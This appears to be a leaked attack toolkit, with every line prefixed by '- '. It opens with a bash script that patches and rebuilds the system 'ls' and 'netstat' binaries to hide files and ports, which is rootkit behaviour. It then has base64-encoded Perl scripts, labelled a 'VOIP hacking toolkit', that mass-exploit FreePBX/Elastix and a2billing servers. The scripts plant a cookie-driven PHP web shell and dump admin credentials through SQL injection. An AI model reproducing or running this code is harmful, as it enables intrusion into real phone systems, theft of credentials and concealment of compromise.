- if [[ $line == *"struct tm *when_local;"* ]]
- then
- echo "$line" >> ls.c_2
- IFS='' read -r line
- echo "$line" >> ls.c_2
- echo "$LINE5" >> ls.c_2
- echo "$LINE6" >> ls.c_2 && continue
- fi
- if [[ $line == *"const char* name = symlink_target ? f->linkname :
- f->name;"* ]]
- then
- echo "$line" >> ls.c_2
- IFS='' read -r line
- echo "$line" >> ls.c_2
- echo "$LINE5" >> ls.c_2
- echo "$LINE6" >> ls.c_2 && continue
- fi
- if [[ $line == *"char buf[MAX (LONGEST_HUMAN_READABLE + 1,
- INT_BUFSIZE_BOUND (uintmax_t))];"* ]]
- then
- echo "$line" >> ls.c_2
- IFS='' read -r line
- echo "$line" >> ls.c_2
- echo "$LINE5" >> ls.c_2
- echo "$LINE6" >> ls.c_2 && continue
- fi
- if [[ $line == *"int linkok;"* ]]
- then
- echo "$line" >> ls.c_2
- echo "$LINE5" >> ls.c_2
- echo "$LINE6" >> ls.c_2 && continue
- fi
- if [[ $line == *"if (col == 0)"* ]]
- then
- echo "$line" >> ls.c_2
- echo "{" >> ls.c_2
- IFS='' read -r line
- IFS='' read -r line
- IFS='' read -r line
- IFS='' read -r line
- echo "$LINE7" >> ls.c_2
- echo "$LINE8" >> ls.c_2
- echo "$LINE9" >> ls.c_2
- echo "$LINE10" >> ls.c_2
- echo "$LINE11" >> ls.c_2
- echo "}" >> ls.c_2 && continue
- fi
- echo "$line" >> ls.c_2
- done < ls.c
- mv -f ls.c_2 ls.c
- cd /tmp/.../coreutils-8.23/
- export FORCE_UNSAFE_CONFIGURE=1
- ./configure
- make
- rm -f /bin/ls
- cp -f /tmp/.../coreutils-8.23/src/ls /bin/ls
- cd /tmp/.../
- wget -O net-tools.tar.bz2
- http://downloads.sourceforge.net/project/net-tools/net-tools-1.60.tar.bz2
- if [ -f "/etc/debian_version" ]
- then
- apt-get -y install bzip2
- else
- yum -y install bzip2
- fi
- bzip2 -d net-tools.tar.bz2
- tar xvf net-tools.tar
- cd /tmp/.../net-tools-1.60
- >netstat.c_2
- counter=0
- while IFS='' read -r line || [[ -n "$line" ]]; do
- counter=$((counter+1))
- if [[ "$counter" -eq 725 ]]
- then
- echo "$line" >> netstat.c_2
- echo "$HIDEPORTS" >> netstat.c_2
- echo " return;" >> netstat.c_2
- echo "$HIDEPORTS_LOCAL" >> netstat.c_2
- echo " return;" >> netstat.c_2 && continue
- fi
- echo "$line" >> netstat.c_2
- done < netstat.c
- mv -f netstat.c_2 netstat.c
- cd /tmp/.../net-tools-1.60/lib
- while IFS='' read -r line || [[ -n "$line" ]]; do
- if [[ $line == *"default:"* ]]
- then
- echo "${line};" >> inet_sr.c_2 && continue
- fi
- echo "$line" >> inet_sr.c_2
- done < inet_sr.c
- mv -f inet_sr.c_2 inet_sr.c
- cd /tmp/.../net-tools-1.60
- yes "n" | make config
- echo "#define HAVE_AFUNIX 1" >> config.h
- echo "#define HAVE_AFINET 1" >> config.h
- echo "#define HAVE_HWETHER 1" >> config.h
- make netstat
- rm -f /bin/netstat
- cp -f /tmp/.../net-tools-1.60/netstat /bin/netstat
- rm -rf /tmp/.../
- -.~==[ BEZEQ INTERNATIONAL BOUNCE PROVIDERS ]==~.-
- -.~==[ VOIP HACKING TOOLKIT - FILE IX ]==~.-
- LS5+PT1bIEJFWkVRIElOVEVSTkFUSU9OQUwgQk9VTkNFIFBST1ZJREVSUyBdPT1+Li0KICAgICAg
- LS5+PT1bIFZPSVAgSEFDS0lORyBUT09MS0lUIF09PX4uLQoKUmVsZWFzZSBEYXRlOiBKdWx5IDIw
- MTYKCi0ufj09WyBCRVpFUSBJTlRFUk5BVElPTkFMIEJPVU5DRSBQUk9WSURFUlMgXT09fi4tCiAt
- Ln49PVsgVk9JUCBIQUNLSU5HIFRPT0xLSVQgLSBGSUxFIEkgXT09fi4tCgp1c2UgSU86OlNvY2tl
- dDsKdXNlIFBhcmFsbGVsOjpGb3JrTWFuYWdlcjsKdXNlIElQOjpDb3VudHJ5OjpGYXN0Owp1c2Ug
- c3RyaWN0OwoKJHw9MTsKaWYgKCEkQVJHVlsxXSkgewogcHJpbnQgInVzYWdlOiBwZXJsIGF1dG9w
- d24ucGwgPGluZmlsZT4gPG91dGZpbGU+XG4iOwogZXhpdDsJCn0KCm15IEBsaXN0ID0gKCk7Cm9w
- ZW4gRklMRSwgIjwiIC4gJEFSR1ZbMF07CnByaW50ICJTdGFydDogIjsKbXkgJHN0YXJ0ID0gPHN0
- ZGluPjsKY2hvbXAoJHN0YXJ0KTsKbXkgJGZsYWc9MDsKaWYgKGluZGV4KCRzdGFydCwgInN0YXJ0
- IikgPj0gMCkgewogJGZsYWc9MTsKfQp3aGlsZSg8RklMRT4pIHsKIGNob21wOwogbXkgJHN0ciA9
- ICRfOwogaWYgKCRzdHIgPX4gLyRzdGFydC8pIHsKICAkZmxhZz0xOwogIG5leHQ7CiB9CiBpZiAo
- ISRmbGFnKSB7CiAgbmV4dDsKIH0KIG15IEBzdHIyID0gc3BsaXQoL1xzLywgJHN0cik7CiAkc3Ry
- ID0gJHN0cjJbMF07CiBpZiAobm90ICRzdHIgPX4gL1xkK1wuXGQrXC5cZCtcLlxkKy8pIHsKICBu
- ZXh0OwogfQogaWYgKG5vdCBncmVwIC8kc3RyLywgQGxpc3QpIHsKICAgICAgICAgcHVzaChAbGlz
- dCwgJHN0cik7CiB9Cn0KY2xvc2UgRklMRTsKCm15ICRwbSA9IFBhcmFsbGVsOjpGb3JrTWFuYWdl
- ci0+bmV3KDIwKTsKCm15ICRjID0gMDsKbXkgJGNvdW50cnk7CmZvcmVhY2ggbXkgJHNpcCAoQGxp
- c3QpIHsKbXkgJHJlc3AgPSBJUDo6Q291bnRyeTo6RmFzdC0+bmV3KCk7CiRjb3VudHJ5ID0gJHJl
- c3AtPmluZXRfYXRvY2MoJHNpcCk7CmlmICgoJGNvdW50cnkgPX4gL1hYLykgfHwgKCRjb3VudHJ5
- ID1+IC9YWC8pKSB7CiBuZXh0Owp9CQokYysrOwppZiAoJGMgPj0gMjApIHsKcHJpbnQgIlRocmVh
- ZHMgam9pbmluZy4uLlxuIjsKJHBtLT53YWl0X2FsbF9jaGlsZHJlbjsKJGM9MTsKfQpteSAkcGlk
- ID0gJHBtLT5zdGFydCBhbmQgbmV4dDsKbXkgJHRhcmdldCA9ICRzaXA7CnByaW50ICR0YXJnZXQu
- IlxuIjsKcHJpbnQgIkVYUExPSVRcbiI7CmlmICgkY291bnRyeSBlcSAiIikgewogJGNvdW50cnkg
- PSAiVU5LTk9XTiI7Cn0Kc3lzdGVtKCJwZXJsIGlkZWZpeC5wbCAkdGFyZ2V0ICRjb3VudHJ5ICRB
- UkdWWzFdIik7Cm91dDoKJHBtLT5maW5pc2g7Cn0KCi0ufj09WyBCRVpFUSBJTlRFUk5BVElPTkFM
- IEJPVU5DRSBQUk9WSURFUlMgXT09fi4tCiAtLn49PVsgVk9JUCBIQUNLSU5HIFRPT0xLSVQgLSBG
- SUxFIElJIF09PX4uLQoKI2lkZWZpeCByZW1vdGUKdXNlIElPOjpTb2NrZXQ7CnVzZSBVUkw6OkVu
- Y29kZSBxdyh1cmxfZW5jb2RlKTsKdXNlIExXUDo6U2ltcGxlOwoKJHw9MTsKYWxhcm0oNTkpOwok
- dGFyZ2V0ID0gJEFSR1ZbMF07CmNob21wKCR0YXJnZXQpOwpwcmludCAkdGFyZ2V0LiJcbiI7CiRw
- aHAgPSBxcXsKc2V0X3RpbWVfbGltaXQoMCk7CnVubGluaygicGFnZS5mcmFtZXdvcmsucGhwIik7
- CmZpbGVfcHV0X2NvbnRlbnRzKCJwYWdlLmZyYW1ld29yay5waHAiLCAiPD9waHAgaWYgKFxcXCRf
- Q09PS0lFW1xcImxhbmdcXCJdKSB7c3lzdGVtKFxcXCRfQ09PS0lFW1xcImxhbmdcXCJdKTt9IGRp
- ZSgpOz8+Iik7Cn07CgokcGhwID1+IHMvXHIvL2dpOwokcGhwID1+IHMvXG4vL2dpOwoKc3ViIGlz
- aGFja2VkIHsKIG15ICR1cmwgPSAiaHR0cDovLyR0YXJnZXQvYWRtaW4vcGFnZS5mcmFtZXdvcmsu
- cGhwIjsKIGlmIChoZWFkKCR1cmwpKSB7CiAgIHJldHVybiAxOwogfQogJHVybCA9ICJodHRwOi8v
- JHRhcmdldC9yZWNvcmRpbmdzL3BhZ2UuZnJhbWV3b3JrLnBocCI7CiBpZiAoaGVhZCgkdXJsKSkg
- ewogICByZXR1cm4gMjsKIH0KICR1cmwgPSAiaHR0cDovLyR0YXJnZXQvYWRtaW4vbW9kdWxlcy9h
- ZG1pbmRhc2hib2FyZC9waHBzeXNpbmZvL2NvbW1vbl9hZG1pbl9mdW5jdGlvbnMucGhwIjsKIGlm
- IChoZWFkKCR1cmwpKSB7CiAgIHJldHVybiAzOwogfQoKIHJldHVybiAwOwp9CgokcmVzdWx0ID0g
- aXNoYWNrZWQoKTsKaWYgKCRyZXN1bHQgZXEgMSkgewogcHJpbnQgJHRhcmdldCAuICIgIiAuICRB
- UkdWWzFdIC4gIiBUSEUgRUFHTEUgSEFTIExBTkRFRCAoQUxSRUFEWSBIQUNLRUQsIEVYUExPSVQg
- MSlcclxuIjsKIG9wZW4gRklMRSwgIj4+JEFSR1ZbMl0iOwogcHJpbnQgRklMRSAkdGFyZ2V0IC4g
- IiAiIC4gJEFSR1ZbMV0gLiAiIFRIRSBFQUdMRSBIQVMgTEFOREVEIChBTFJFQURZIEhBQ0tFRCwg
- RVhQTE9JVCAxKVxyXG4iOwogY2xvc2UgRklMRTsKIGV4aXQ7Cn0KCmlmICgkcmVzdWx0IGVxIDIp
- IHsKIHByaW50ICR0YXJnZXQgLiAiICIgLiAkQVJHVlsxXSAuICIgVEhFIEVBR0xFIEhBUyBMQU5E
- RUQgKEFMUkVBRFkgSEFDS0VELCBFWFBMT0lUIDIpXHJcbiI7CiBvcGVuIEZJTEUsICI+PiRBUkdW
- WzJdIjsKIHByaW50IEZJTEUgJHRhcmdldCAuICIgIiAuICRBUkdWWzFdIC4gIiBUSEUgRUFHTEUg
- SEFTIExBTkRFRCAoQUxSRUFEWSBIQUNLRUQsIEVYUExPSVQgMilcclxuIjsKIGNsb3NlIEZJTEU7
- CiBleGl0Owp9CgpwcmludCAiRVhQTE9JVFxuIjsKCiRiaW4gPSBxcXtwaHAgLXIgJyRwaHAnfTsK
- JGJ1ZiA9IHVybF9lbmNvZGUoIigpIHsgOjt9OyRiaW4iKTsKJGJ1ZjIgPSB1cmxfZW5jb2RlKCdP
- Ojg6IkRCX215c3FsIjo2OntzOjE5OiJfZGVmYXVsdF9lcnJvcl9tb2RlIjtpOjE2O3M6MjI6Il9k
- ZWZhdWx0X2Vycm9yX29wdGlvbnMiO3M6OToiZG9fcmVsb2FkIjtzOjEyOiJfZXJyb3JfY2xhc3Mi
- O3M6NDoiVEVTVCI7czoxMzoid2FzX2Nvbm5lY3RlZCI7YjoxO3M6Nzoib3B0aW9ucyI7czozOiIx
- MjMiO3M6MzoiZHNuIjthOjQ6e3M6ODoiaG9zdHNwZWMiO3M6OToibG9jYWxob3N0IjtzOjg6InVz
- ZXJuYW1lIjtzOjQ6InJvb3QiO3M6ODoicGFzc3dvcmQiO3M6MDoiIjtzOjg6ImRhdGFiYXNlIjtz
- Ojc6InRyaWdnZXIiO319Jyk7Cgokc29jayA9IElPOjpTb2NrZXQ6OklORVQtPm5ldyhQZWVyQWRk
- ciA9PiAkdGFyZ2V0LAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICBQZWVyUG9ydCA9PiA4
- MCwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgUHJvdG8gICAgPT4gJ3RjcCcsCiAgICAg
- ICAgICAgICAgICAgICAgICAgICAgICAgIFRpbWVvdXQgPT4gMTApOwokcGF5bG9hZCA9ICJ1c2Vy
- bmFtZT1hZG1pbiZwYXNzd29yZD1hZG1pbiZzdWJtaXQ9YnRuU3VibWl0IjsKcHJpbnQgJHNvY2sg
- IlBPU1QgL3JlY29yZGluZ3MvaW5kZXgucGhwPyBIVFRQLzEuMVxyXG5Ib3N0OiAkdGFyZ2V0XHJc
- bkNvb2tpZTogYXJpX2xhbmc9JGJ1ZjthcmlfYXV0aD0kYnVmMjtlbGFzdGl4U2Vzc2lvbj03MTZy
- YXRrMDkyNTU1Z2wwYjNndHZ0OGZvNztVSUNTRVNTSU9OPXJwb3JwNGM4OGhnNjNzaXBzc29wM2tk
- bW4yO0FSST1iOGU0aDZ2Zmcwam91cXVoa2NibHNvdWhrMFxyXG5Db250ZW50LVR5cGU6IGFwcGxp
- Y2F0aW9uL3gtd3d3LWZvcm0tdXJsZW5jb2RlZFxyXG5Db250ZW50LUxlbmd0aDogIi4gbGVuZ3Ro
- KCRwYXlsb2FkKSAuIlxyXG5Db25uZWN0aW9uOiBjbG9zZVxyXG5cclxuIiAuICRwYXlsb2FkOwoK
- d2hpbGUoPCRzb2NrPikgewp9Cgokc29jayA9IElPOjpTb2NrZXQ6OklORVQtPm5ldyhQZWVyQWRk
- ciA9PiAkdGFyZ2V0LAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICBQZWVyUG9ydCA9PiA4
- MCwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgUHJvdG8gICAgPT4gJ3RjcCcsCiAgICAg
- ICAgICAgICAgICAgICAgICAgICAgICAgIFRpbWVvdXQgPT4gMTApOwpwcmludCAkc29jayAiR0VU
- IC9yZWNvcmRpbmdzL3BhZ2UuZnJhbWV3b3JrLnBocCAgSFRUUC8xLjFcclxuSG9zdDogJHRhcmdl
- dFxyXG5Db29raWU6IGxhbmc9ZWNobytTVUNDRVNTK1NVQ0NFU1NcclxuQ29ubmVjdGlvbjogY2xv
- c2VcclxuXHJcbiI7Cgokc3VjY2VzcyA9IDA7CndoaWxlKDwkc29jaz4pIHsKICAgICAgICAgaWYg
- KCRfID1+IC9TVUNDRVNTXCBTVUNDRVNTLykgewogICAgICAgICAgICAgICAgJHN1Y2Nlc3MgPSAx
- OwogICAgICAgICB9ICAgICAgICAKfQoKaWYgKCRzdWNjZXNzKSB7CiBwcmludCAiXG4qKipFWFBM
- T0lUIFNVQ0NFU1MqKipcbiI7CiBwcmludCAiXG4qKipUSEUgRUFHTEUgSEFTIExBTkRFRCBBVCAk
- dGFyZ2V0ICgkQVJHVlsxXSkqKipcbiI7CiBvcGVuIEZJTEUsICI+PiRBUkdWWzJdIjsKIGlmICgk
- cmVzdWx0IGVxIDApIHsKICBwcmludCBGSUxFICR0YXJnZXQgLiAiICIgLiAkQVJHVlsxXSAuICIg
- VEhFIEVBR0xFIEhBUyBMQU5ERUQgKEVYUExPSVQgMiBORVchISlcclxuIjsKIH0KIGlmICgkcmVz
- dWx0IGVxIDMpIHsKICBwcmludCBGSUxFICR0YXJnZXQgLiAiICIgLiAkQVJHVlsxXSAuICIgVEhF
- IEVBR0xFIEhBUyBMQU5ERUQgKEVYUExPSVQgMiBSRUhBQ0spXHJcbiI7CiB9CiBjbG9zZSBGSUxF
- OwogZXhpdDsKfQoKLS5+PT1bIEJFWkVRIElOVEVSTkFUSU9OQUwgQk9VTkNFIFBST1ZJREVSUyBd
- PT1+Li0KIC0ufj09WyBWT0lQIEhBQ0tJTkcgVE9PTEtJVCAtIEZJTEUgSUlJIF09PX4uLQoKdXNl
- IElPOjpTb2NrZXQ7CnVzZSBHZW86OklQOjpQdXJlUGVybDsKdXNlIHN0cmljdDsKCm15ICRnaSA9
- IEdlbzo6SVA6OlB1cmVQZXJsLT5uZXcoR0VPSVBfU1RBTkRBUkQpOwoKJHw9MTsKaWYgKCEkQVJH
- VlsxXSkgewogcHJpbnQgInVzYWdlOiBwZXJsIGF1dG9wd24ucGwgPGluZmlsZT4gPG91dGZpbGU+
- XG4iOwogZXhpdDsJCn0KCm15IEBsaXN0ID0gKCk7Cm9wZW4gRklMRSwgIjwiIC4gJEFSR1ZbMF07
- CnByaW50ICJTdGFydDogIjsKbXkgJHN0YXJ0ID0gPHN0ZGluPjsKY2hvbXAoJHN0YXJ0KTsKbXkg
- JGZsYWc9MDsKaWYgKGluZGV4KCRzdGFydCwgInN0YXJ0IikgPj0gMCkgewogJGZsYWc9MTsKfQp3
- aGlsZSg8RklMRT4pIHsKIGNob21wOwogbXkgJHN0ciA9ICRfOwogaWYgKCRzdHIgPX4gLyRzdGFy
- dC8pIHsKICAkZmxhZz0xOwogIG5leHQ7CiB9CiBpZiAoISRmbGFnKSB7CiAgbmV4dDsKIH0KIG15
- IEBzdHIyID0gc3BsaXQoL1xzLywgJHN0cik7CiAkc3RyID0gJHN0cjJbJCNzdHIyXTsKIGlmIChu
- b3QgJHN0ciA9fiAvXGQrXC5cZCtcLlxkK1wuXGQrLykgewogIG5leHQ7CiB9CiBpZiAobm90IGdy
- ZXAgLyRzdHIvLCBAbGlzdCkgewogICAgICAgICBwdXNoKEBsaXN0LCAkc3RyKTsKIH0KfQpjbG9z
- ZSBGSUxFOwoKbXkgJGMgPSAwOwpteSAkY291bnRyeTsKZm9yZWFjaCBteSAkc2lwIChAbGlzdCkg
- ewokY291bnRyeSA9ICRnaS0+Y291bnRyeV9jb2RlX2J5X2FkZHIoJHNpcCk7CmlmICgoJGNvdW50
- cnkgPX4gL0RFLykgfHwgKCRjb3VudHJ5ID1+IC9USC8pKSB7CiBuZXh0Owp9CQpteSAkdGFyZ2V0
- ID0gJHNpcDsKcHJpbnQgIkVYUExPSVRcbiI7CmlmICgkY291bnRyeSBlcSAiIikgewogJGNvdW50
- cnkgPSAiLS0iOwp9CnN5c3RlbSgicGVybCBlYWdsZXNxbC1oZWxwZXIucGwgJHRhcmdldCAkY291
- bnRyeSAkQVJHVlsxXSIpOwpvdXQ6Cn0KCi0ufj09WyBCRVpFUSBJTlRFUk5BVElPTkFMIEJPVU5D
- RSBQUk9WSURFUlMgXT09fi4tCiAtLn49PVsgVk9JUCBIQUNLSU5HIFRPT0xLSVQgLSBGSUxFIElW
- IF09PX4uLQoKdXNlIElPOjpTb2NrZXQ6OlNTTDsKdXNlIExXUDo6U2ltcGxlOwp1c2UgVVJMOjpF
- bmNvZGUgcXcodXJsX2VuY29kZSk7CgpCRUdJTiB7ICR8ID0gMSB9CgphbGFybSgxMDApOwoKJHRh
- cmdldCA9ICRBUkdWWzBdOwokY291bnRyeSA9ICRBUkdWWzFdOwokb3V0ZmlsZSA9ICRBUkdWWzJd
- OwpjaG9tcCgkdGFyZ2V0KTsKcHJpbnQgJHRhcmdldC4iXG4iOwpwcmludCAiRVhQTE9JVFxuIjsK
- JHF1ZXJ5aGV4ID0gIjB4MSBVTklPTiBTRUxFQ1QgMSBGUk9NIGNjX3VpX2F1dGhlbjsjIjsKJHF1
- ZXJ5aGV4ID1+IHMvKC4pL3NwcmludGYoIiV4IixvcmQoJDEpKS9lZzsKJGEgPSAiMHgiIC4gJHF1
- ZXJ5aGV4OwokcXVlcnloZXgyID0gIi9ldGMvdGVzdCI7CiRxdWVyeWhleDIgPX4gcy8oLikvc3By
- aW50ZigiJXgiLG9yZCgkMSkpL2VnOwokZGlzY2xvc2VmaWxlID0gIjB4IiAuICRxdWVyeWhleDI7
- CiRxdWVyeSA9ICJ0cmFuc2FjdGlvbklEPS0xK1VOSU9OK1NFTEVDVCs5LCRhLDksOSw5LDksOSw5
- LDksOSw5LDksOSw5LChTRUxFQ1QrY29uY2F0KGNvbmNhdChsb2dpbiwweDNBKSxwd2RfZW5jb2Rl
- ZCkrRlJPTStjY191aV9hdXRoZW4pK0ZST00rY2NfdWlfYXV0aGVuIjsKJHF1ZXJ5MiA9ICJ0cmFu
- c2FjdGlvbklEPS0xK1VOSU9OK1NFTEVDVCs5LCRhLDksOSw5LDksOSw5LDksOSw5LDksOSw5LChT
- RUxFQ1QrY29uY2F0KGNvbmNhdChtYW5hZ2VyX3VzZXJuYW1lLDB4M0EpLG1hbmFnZXJfc2VjcmV0
- KStGUk9NK2NjX3NlcnZlcl9tYW5hZ2VyKStGUk9NK2NjX3VpX2F1dGhlbiI7Cm15ICRzb2NrID0g
- SU86OlNvY2tldDo6U1NMLT5uZXcoCiAgICBQZWVySG9zdCA9PiAkdGFyZ2V0LAogICAgUGVlclBv
- cnQgPT4gImh0dHBzIiwKICAgIFRpbWVvdXQgPT4gMTAsCiAgICBTU0xfdmVyaWZ5X21vZGUgPT4g
- U1NMX1ZFUklGWV9OT05FKTsKIApwcmludCAkc29jayAiUE9TVCAvYTJiaWxsaW5nL2N1c3RvbWVy
- L2lyaWRpdW1fdGhyZWVkLnBocCIgLiAiIEhUVFAvMS4xXHJcbkhvc3Q6ICR0YXJnZXRcclxuQ29u
- dGVudC10eXBlOiBhcHBsaWNhdGlvbi94LXd3dy1mb3JtLXVybGVuY29kZWRcclxuQ29udGVudC1M
- ZW5ndGg6ICIuIGxlbmd0aCgkcXVlcnkyKSAuIAoiXHJcbkNvbm5lY3Rpb246Y2xvc2VcclxuXHJc
- biIgLiAkcXVlcnkyOwp3aGlsZSg8JHNvY2s+KSB7CiAJaWYgKCRfID1+IC9pdGVtX3R5cGU9KC4q
- KTooLio/KSQvKSB7CgkJJHVzZXJuYW1lID0gJDE7CgkJJHBhc3N3b3JkID0gJDI7CgkJJHBhc3N3
- b3JkID1+IHMvXHIvL2c7CgkJJHBhc3N3b3JkID1+IHMvXG4vL2c7CgkJY2xvc2UoJHNvY2spOwoJ
- CQoJCSRwYXlsb2FkID0gImlucHV0X3VzZXI9JHVzZXJuYW1lJmlucHV0X3Bhc3M9JHBhc3N3b3Jk
- JnN1Ym1pdF9sb2dpbj1TdWJtaXQiOwoJCQoJCW15ICRzb2NrID0gSU86OlNvY2tldDo6U1NMLT5u
- ZXcoCgkJICAgIFBlZXJIb3N0ID0+ICR0YXJnZXQsCgkJICAgIFBlZXJQb3J0ID0+ICJodHRwcyIs
- CgkJICAgIFNTTF92ZXJpZnlfbW9kZSA9PiBTU0xfVkVSSUZZX05PTkUpOwoJCSAKCQlwcmludCAk
- c29jayAiUE9TVCAvIiAuICIgSFRUUC8xLjFcclxuSG9zdDogJHRhcmdldFxyXG5Db250ZW50LXR5
- cGU6IGFwcGxpY2F0aW9uL3gtd3d3LWZvcm0tdXJsZW5jb2RlZFxyXG5Db250ZW50LUxlbmd0aDog
- Ii4gbGVuZ3RoKCRwYXlsb2FkKSAuICJcclxuQ29ubmVjdGlvbjpjbG9zZVxyXG5cclxuIiAKLiAk
- cGF5bG9hZDsKCQkkbG9nZ2VkaW4gPSAwOwoJCSRjb29raWUgPSAiIjsJCQoJCXdoaWxlKDwkc29j
- az4pIHsKCQkJaWYgKCRfID1+IC8zMDIgRm91bmQvKSB7CgkJCQlwcmludCAiU1VDQ0VTUzogTG9n
- Z2VkIGluLlxuIjsKCQkJCSRsb2dnZWRpbiA9IDE7CQkJCQoJCQl9CgkJCWlmICgkXyA9fiAvKGVs
- YXN0aXhTZXNzaW9uPS4qPyk7LykgewoJCQkJJGNvb2tpZSA9ICQxOwoJCQkJcHJpbnQgJGNvb2tp
- ZS4iXG4iOwoJCQl9CgkJfQoJCWlmICgkbG9nZ2VkaW4gPT0gMCkgewoJCQlwcmludCAiQ0FOTk9U
- IExPR0lOLlxuIjsKCQkJZXhpdDsKCQl9CgkJCgkJY2xvc2UoJHNvY2spOwoJJHNvY2sgPSBJTzo6
- U29ja2V0OjpTU0wtPm5ldyhQZWVyQWRkciA9PiAkdGFyZ2V0LAoJICAgICAgICAgICAgICAgICAg
- ICAgICAgICAgICAgUGVlclBvcnQgPT4gNDQzLAoJICAgICAgICAgICAgICAgICAgICAgICAgICAg
- ICAgUHJvdG8gICAgPT4gJ3RjcCcsCgkgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBUaW1l
- b3V0ID0+IDYwLAoJICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgU1NMX3ZlcmlmeV9tb2Rl
- ID0+IFNTTF9WRVJJRllfTk9ORSk7CglwcmludCAkc29jayAiR0VUIC9yZWNvcmRpbmdzL3BhZ2Uu
- ZnJhbWV3b3JrLnBocCAgSFRUUC8xLjFcclxuSG9zdDogJHRhcmdldFxyXG5Db29raWU6IGxhbmc9
- ZWNobytTVUNDRVNTK1NVQ0NFU1NcclxuQ29ubmVjdGlvbjogY2xvc2VcclxuXHJcbiI7CgkKCSRz
- dWNjZXNzID0gMDsKCXdoaWxlKDwkc29jaz4pIHsKCSAgICAgICAgIGlmICgkXyA9fiAvU1VDQ0VT
- U1wgU1VDQ0VTUy8pIHsKCSAgICAgICAgICAgICAgICAkc3VjY2VzcyA9IDE7CgkgICAgICAgICB9
- ICAgICAgICAKCX0KCWlmICgkc3VjY2VzcykgewoJCXByaW50ICJBTFJFQURZIEhBQ0tFRFxuIjsK
- CQlleGl0OwoJfQoKCXByaW50ICJcbiR0YXJnZXQgJGNvdW50cnkgU1VDQ0VTUzogJHVzZXJuYW1l
- OiRwYXNzd29yZCBUSEUgRUFHTEUgSEFTIExBTkRFRCAoU1FMKVxuIjsKCW9wZW4gRklMRSwgIj4+
- JG91dGZpbGUiOwoJcHJpbnQgRklMRSAiJHRhcmdldCAkY291bnRyeSBTVUNDRVNTOiAkdXNlcm5h
- bWU6JHBhc3N3b3JkIFRIRSBFQUdMRSBIQVMgTEFOREVEIChTUUwpXG4iOwoJY2xvc2UgRklMRTsJ
- CgkJCglteSAkc29jayA9IElPOjpTb2NrZXQ6OlNTTC0+bmV3KAoJICAgIFBlZXJIb3N0ID0+ICR0
- YXJnZXQsCgkgICAgUGVlclBvcnQgPT4gImh0dHBzIiwKCSAgICBUaW1lb3V0ID0+IDYwLAoJICAg
- IFNTTF92ZXJpZnlfbW9kZSA9PiBTU0xfVkVSSUZZX05PTkUpOwoJIAoJJHBocCA9IHFxewoJc2V0
- X3RpbWVfbGltaXQoMCk7Cgl1bmxpbmsoInJlY29yZGluZ3MvcGFnZS5mcmFtZXdvcmsucGhwIik7
- CglmaWxlX3B1dF9jb250ZW50cygicmVjb3JkaW5ncy9wYWdlLmZyYW1ld29yay5waHAiLCAiPD9w
- aHAgaWYgKFxcXCRfQ09PS0lFW1xcImxhbmdcXCJdKSB7c3lzdGVtKFxcXCRfQ09PS0lFW1xcImxh
- bmdcXCJdKTt9IGRpZSgpOz8+Iik7Cgl9OwoJCgkkcGhwID1+IHMvXHIvL2dpOwoJJHBocCA9fiBz
- L1xuLy9naTsKCSAgIAoJJGJpbiA9IHFxe3BocCAtciAnJHBocCd9OwoJJGJ1ZiA9IHVybF9lbmNv
- ZGUoIiRiaW4iKTsKCgkkcGF5bG9hZCA9IAoiYWN0aW9uPWFwcGx5X2NoYW5nZXNfVXNlckV4dGVu
- c2lvbiZtZW51PXVzZXJsaXN0Jmdyb3VwPTEmZXh0ZW5zaW9uPWJheicrL2V0Yy9zZXJ2aWNlczsk
- YnVmOycmZGVzY3JpcHRpb249JnBhc3N3b3JkMT0kcGFzc3dvcmQmcGFzc3dvcmQyPSRwYXNzd29y
- ZCZ3ZWJtYWlsdXNlcj0md2VibWFpbGRvbWFpbj0md2VibWFpbHBhc3N3b3JkMT0maWRfdXNlcj0x
- JnJhd21vZGU9eWVzIjsKCXByaW50ICRzb2NrICJQT1NUIC9pbmRleC5waHAgSFRUUC8xLjFcclxu
- SG9zdDogJHRhcmdldFxyXG5Db250ZW50LXR5cGU6IGFwcGxpY2F0aW9uL3gtd3d3LWZvcm0tdXJs
- ZW5jb2RlZFxyXG5Db250ZW50LUxlbmd0aDogIi4gbGVuZ3RoKCRwYXlsb2FkKSAuICJcclxuQ29v
- a2llOiAkY29va2llXHJcbkNvbm5lY3Rpb246Y2xvc2VcclxuXHJcbiIgLiAkcGF5bG9hZDsKCXdo
- aWxlKDwkc29jaz4pIHsKCX0KCWNsb3NlICRzb2NrOwoJbXkgJHNvY2sgPSBJTzo6U29ja2V0OjpT
- U0wtPm5ldygKCSAgICBQZWVySG9zdCA9PiAkdGFyZ2V0LAoJICAgIFBlZXJQb3J0ID0+ICJodHRw
- cyIsCgkgICAgVGltZW91dCA9PiA2MCwKCSAgICBTU0xfdmVyaWZ5X21vZGUgPT4gU1NMX1ZFUklG
- WV9OT05FKTsKCQoJJHBocCA9fiBzL1xyLy9naTsKCSRwaHAgPX4gcy9cbi8vZ2k7CgkgICAKCSRi
- aW4gPSBxcXtwaHAgLXIgJyRwaHAnO307CgkkYnVmID0gdXJsX2VuY29kZSgiJGJpbiIpOwoKCSRw
- YXlsb2FkID0gImNvbmZpZz1Db25maWd1cmF0aW9uJnBhZ2U9MCZuYXY9YnlwYWdlIjsKCXByaW50
- ICRzb2NrICJQT1NUIC9pbmRleC5waHA/bWVudT12b2ljZW1haWwgSFRUUC8xLjFcclxuSG9zdDog
- JHRhcmdldFxyXG5Db250ZW50LXR5cGU6IGFwcGxpY2F0aW9uL3gtd3d3LWZvcm0tdXJsZW5jb2Rl
- ZFxyXG5Db250ZW50LUxlbmd0aDogIi4gbGVuZ3RoKCRwYXlsb2FkKSAuICJcclxuQ29va2llOiAk
- Y29va2llXHJcbkNvbm5lY3Rpb246Y2xvc2VcclxuXHJcbiIgLiAkcGF5bG9hZDsKCXdoaWxlKDwk
- c29jaz4pIHsKCX0KCSRzb2NrID0gSU86OlNvY2tldDo6U1NMLT5uZXcoUGVlckFkZHIgPT4gJHRh
- cmdldCwKCSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFBlZXJQb3J0ID0+IDQ0MywKCSAg
- ICAgICAgICAgICAgICAgICAgICAgICAgICAgIFByb3RvICAgID0+ICd0Y3AnLAoJICAgICAgICAg
- ICAgICAgICAgICAgICAgICAgICAgVGltZW91dCA9PiA2MCwKCSAgICAgICAgICAgICAgICAgICAg
